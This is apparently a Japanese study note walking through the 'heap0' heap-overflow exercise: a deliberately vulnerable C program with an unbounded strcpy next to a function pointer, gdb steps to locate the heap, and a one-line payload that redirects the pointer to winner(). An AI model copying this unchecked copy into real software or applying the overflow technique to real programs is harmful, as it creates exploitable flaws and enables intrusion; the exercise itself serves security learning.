以下のサイトを参考に検証を実施した。
https://samsclass.info/127/proj/p7-heap0.htm
※ソースコードはほぼ同じ(data構造体のnameデータサイズを64から8にして検証)
■準備
・gccで32bitでコンパイルするため以下のパッケージをインストールする。
「sudo apt-get install libc6-dev-i386」
・32bitコンパイル方法
「gcc -m32 heap0.c -o heap0」
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[8];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
■heap-overflow手順(関数ポインタを書き換え)
※64ビットだとうまくいかなったので32ビットで検証
1.gdbでwinner,nowinnerのアドレスを確認
一度、runしておく。その後に「info functions」でアドレスを確認する。
※もしくは「disas winner」で先頭のアドレスを確認する。

2.関数ポインタが呼ばれる前の命令アドレスにBreakPointを設定する。
「break *0x5655630f」

「run 1111」を実行する。設定したbreakpointで停止するので以下のコマンドでheap領域のスタートアドレスを確認する。
「info proc map」→heapと書かれたアドレス帯がheap領域(0x5655a000-0x5657c000)

3.ヒープ領域の確認
「x/120x 0xヒープ先頭アドレス」で自分が入力した値(31313131)のどれくらい後にnowinnerのアドレス(5655625c)があるか確認する。
※8バイトmallocする場合は16バイトあとに関数ポインタ(nowinnerのアドレス)があった。

4.heap overflowの実行
gdbを抜けて、以下のコマンドでオーバーフローさせ、nowinnerのアドレスをwinnerに書き換える。
※最後の4バイトがwinnerのアドレス
「./heap0 $(python3 -c ‘print(“A”*16+”\x2d\x62\x55\x56”)’)」
